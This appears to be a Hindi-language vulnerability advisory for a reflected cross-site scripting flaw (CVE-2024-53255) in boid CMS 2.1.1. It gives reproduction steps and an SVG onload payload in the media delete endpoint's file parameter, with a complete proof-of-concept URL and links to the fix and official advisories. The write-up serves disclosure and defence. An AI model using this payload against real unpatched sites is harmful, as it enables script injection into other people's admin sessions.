
boid CMS 2.1.1 - परावर्तित क्रॉस-साइट स्क्रिप्टिंग (XSS)
boid CMS 2.1.1 - प्रतिबिंबित क्रॉस-साइट स्क्रिप्टिंग (XSS)
/admin?page=media एंडपॉइंट के file पैरामीटर में एक प्रतिबिंबित XSS भेद्यता मौजूद है, जो हमलावर को मनमाना JavaScript कोड इंजेक्ट करने की अनुमति देती है।
1- CMS में लॉगिन करें और डिलीट पेज (/admin?page=media) पर जाएं।
2- डिलीट करने के लिए कोई भी फ़ाइल चुनें और प्रॉक्सी टूल का उपयोग करके अनुरोध को इंटरसेप्ट करें।
3- इंटरसेप्ट किए गए अनुरोध में file पैरामीटर को निम्नलिखित में बदलें:
<svg+onload%3dalert(document.domain)>
4 - संशोधित अनुरोध को आगे बढ़ाएं और इंजेक्ट की गई स्क्रिप्ट निष्पादित हो जाएगी।
प्रूफ ऑफ कॉन्सेप्ट (PoC):
http://localhost/boidcms/admin?page=media&action=delete&file=<svg+onload%3dalert(document.domain)>&token=693b471d9ee886766b69fd0dab9d992cd7f0e1e483822b28b6e8bcde0cf502e4
अधिक जानकारी के लिए: https://nvd.nist.gov/vuln/detail/CVE-2024-53255 https://www.cve.org/CVERecord?id=CVE-2024-53255 https://github.com/BoidCMS/BoidCMS/commit/42f4d703a87f5199bbd701b3495a26c91b9cfab7 https://github.com/BoidCMS/BoidCMS/security/advisories/GHSA-7q7m-cgw8-px4r